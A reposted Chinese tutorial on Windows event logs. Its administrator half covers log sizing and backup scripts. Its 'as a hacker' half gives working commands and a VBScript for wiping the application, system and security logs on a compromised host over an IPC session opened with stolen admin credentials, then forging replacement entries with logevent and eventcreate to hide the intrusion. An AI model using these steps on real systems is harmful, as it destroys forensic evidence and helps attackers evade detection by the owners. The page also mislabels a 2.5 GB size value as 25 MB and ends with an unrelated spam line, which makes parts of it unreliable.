當前位置:蘿卜系統 > 網絡技術教程 > 詳細頁面

Windows日志的保護與偽造

Windows日志的保護與偽造

更新時間:2019-04-23 文章作者:未知 信息來源:網絡 閱讀次數:

網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。 當前的互聯網只限于信息共享,網絡則被認為是互聯網發展的第三階段。
日志對于系統安全的作用是顯而易見的,無論是網絡管理員還是黑客都非常重視日志,一個有經驗的管理員往往能夠迅速通過日志了解到系統的安全性能,而一個聰明的黑客往往會在入侵成功 后迅速清除掉對自己不利的日志。下面我們就來討論一下日志的安全和創建問題。

  一:概述:

  Windows 2000的系統日志文件有應用程序日志,安全日志、系統日志、DNS服務器日志等等,應用程序日志、安全日志、系統日志、DNS日志默認位置:%systemroot%\system32\config,默認文件大小512KB。

  安全日志文件:%systemroot%\system32\config\SecEvent.EVT
  系統日志文件:%systemroot%\system32\config\SysEvent.EVT
  應用程序日志文件:%systemroot%\system32\config\AppEvent.EVT

  這些LOG文件在注冊表中的:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog有的管理員很可能將這些日志重定位。其中EVENTLOG下面有很多的子表,里面可查到以上日志的定位目錄。

  二:作為網絡管理員:

  1.日志的安全配置:

  默認的條件下,日志的大小為512KB大小,如果超出則會報錯,并且不會再記錄任何日志。所以首要任務是更改默認大小,具體方法:注冊表中HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog對應的每個日志如系統,安全,應用程序等均有一個maxsize子鍵,修改即可。

  下面給出一個來自微軟站點的一個腳本,利用VMI來設定日志最大25MB,并允許日志自行覆蓋14天前的日志:


[page_break]該腳本利用的是WMI對象, WMI(Windows Management Instrumentation)技術是微軟提供的Windows下的系統管理工具。通過該工具可以在本地或者管理客戶端系統中幾乎一切的信息。很多專業的網絡管理工具都是基于WMI開發的。該工具在Win2000以及WinNT下是標準工具,在Win9X下是擴展安裝選項。所以以下的代碼在2000以上均可運行成功。

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Security)}!\\" & _
strComputer & "\root\cimv2") '獲得VMI對象
Set colLogFiles = objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile")
For each objLogfile in colLogFiles
strLogFileName = objLogfile.Name
Set wmiSWbemObject = GetObject _
("winmgmts:{impersonationLevel=Impersonate}!\\.\root\cimv2:" _
& "Win32_NTEventlogFile.Name='" & strLogFileName & "'")
wmiSWbemObject.MaxFileSize = 2500000000
wmiSWbemObject.OverwriteOutdated = 14
wmiSWbemObject.Put_
Next

  將上述腳本用記事本存盤為vbs為后綴的即可使用。

  另外需要說明的是代碼中的strComputer="."在Windows腳本中的含義相當于localhost,如果要在遠程主機上執行代碼,只需要把"."改動為主機名,當然首先得擁有對方主機的管理員權限并建立IPC連接.本文中的代碼所出現的strComputer均可作如此改動。

  2. 日志的查詢與備份:

  一個優秀的管理員是應該養成備份日志的習慣,如果有條件的話還應該把日志轉存到備份機器上或直接轉儲到打印機上,在這里推薦微軟的resourceKit工具箱中的dumpel.exe,他的常用方法:

  dumpel -f filename -s \\server -l log

  -f filename 輸出日志的位置和文件名

  -s \\server 輸出遠程計算機日志

  -l log log 可選的為system,security,application,可能還有別的如DNS等.

  如要把目標服務器server上的系統日志轉存為backupsystem.log可以用以下格式:

  dumpel \\server -l system -f backupsystem.log

  再利用計劃任務可以實現定期備份系統日志。

  另外利用腳本編程的VMI對象也可以輕而易舉的實現日志備份:


[page_break]下面給出備份application日志的代碼:

backuplog.vbs
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Backup)}!\\" & _
strComputer & "\root\cimv2") '獲得 VMI對象
Set colLogFiles = objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile where LogFileName='Application'") '獲取日志對象中的應用程序日志
For Each objLogfile in colLogFiles
errBackupLog = objLogFile.BackupEventLog("f:\application.evt") '將日志備份為f:\application.evt
If errBackupLog <> 0 Then
Wscript.Echo "The Application event log could not be backed up."
else Wscript.Echo "success backup log"
End If
Next

  程序說明:如果備份成功將窗口提示:"success backup log" 否則提示:"The Application event log could not be backed up",此處備份的日志為application 備份位置為f:\application.evt,可以自行修改,此處備份的格式為evt的原始格式,用記事本打開則為亂碼,這一點他不如dumpel用得方便。

  三:作為黑客

  1、日至清除

  一個入侵系統成功后的黑客第一件事便是清除日志,如果以圖形界面遠程控制對方機器或是從終端登陸進入,刪除日志不是一件困難的事,由于日志雖然也是作為一種服務運行,但不同于http,ftp這樣的服務,可以在命令行下先停止,再刪除,在m命令行下用net stop eventlog是不能停止的,所以有人認為在命令行下刪除日志是很困難的,實際上不是這樣,下面介紹幾種方法:

 。1)借助第三方工具:如小榕的elsave.exe遠程清除system,applicaton,security的軟件,使用方法很簡單,首先利用獲得的管理員賬號與對方建立ipc會話,net use \\ip pass /user: user
然后命令行下:elsave -s \\ip -l application -C,這樣就刪除了安全日志。

  其實利用這個軟件還可以進行備份日志,只要加一個參數 -f filename就可以了,在此不再詳述。

 。2)利用腳本編程中的VMI,也可以實現刪除日志,首先獲得object對象,然后利用其clearEventLog()方法刪除日志。源代碼:

cleanevent.vbs
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Backup)}!\\" & _
strComputer & "\root\cimv2")
dim mylogs(3)
mylogs(1)="application"
mylogs(2)="system"
mylogs(3)="security"
for Each logs in mylogs
Set colLogFiles = objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'")
For Each objLogfile in colLogFiles
objLogFile.ClearEventLog()
Next
next


[page_break]在上面的代碼中,建立一個數組,為application,security,system如果還有其他日志也可以加入數組。

  然后用一個for 循環,刪除數組中的每一個元素,即各個日志.

  2、創建日志:

  刪除日志后,任何一個有頭腦的管理員面對空空的日志,馬上就會反應過來被入侵了,所以一個聰明的黑客的學會如何偽造日志:

 。1)利用腳本編程中的eventlog方法是創造日志變得非常簡單;下面看一個代碼

  createlog.vbs
  set ws=wscript.createobject("Wscript.shell")

  ws.logevent 0 ,"write log success" '創建一個成功執行日志

  這個代碼很容易閱讀,首先獲得wscript的一個shell對象,然后利用shell對象的logevent方法

  logevent的用法:logevent eventtype,"description" [,remote system]

  eventtype 為日志類型,可以使用的如下:0 代表成功執行;1 執行出錯;2 警告;4 信息;8 成功審計;16 故障審計

  所以上面代碼中,把0改為1,2,4,8,16均可,引號下的為日志描述。

  這種方法寫的日志有一個缺點,只能寫到應用程序日志,而且日至來源只能為wsh,即Windows scripting host,所以不能起太多的隱蔽作用。

 。2)微軟為了方便系統管理員和程序員,在xp下有個新的命令行工具,eventcreate.exe,利用它,創建日志更加簡單。

  eventcreate -s server -l logname -u username -p password -so source -t eventtype -id id -d description

  含義:-s 為遠程主機創建日志: -u 遠程主機的用戶名 -p 遠程主機的用戶密碼

  -l 日志;可以創建system和application 不能創建security日志,
  -so 日志來源,可以是任何日志 -t 日志類型 如information信息,error錯誤,warning 警告,
  -d 日志描述,可以是任意語句 -id 自主日志為1-1000之內

  例如,我們要本地創建一個系統日志,日至來源為admin,日志類型是警告,描述為"this is a test",事件ID為500

  可以用如下參數

  eventcreate -l system -so administrator -t warning -d "this is a test" -id 500

  這個工具不能創建安全日志。至于如何創建安全日志,希望大家能夠找到一個好方法。

網絡的神奇作用吸引著越來越多的用戶加入其中,正因如此,網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......,各項技術都需要適時應勢,對應發展,這正是網絡迅速走向進步的催化劑。

溫馨提示:喜歡本站的話,請收藏一下本站!

本類教程下載

系統下載排行

網站地圖xml | 網站地圖html
亚洲嫩草影院久久精品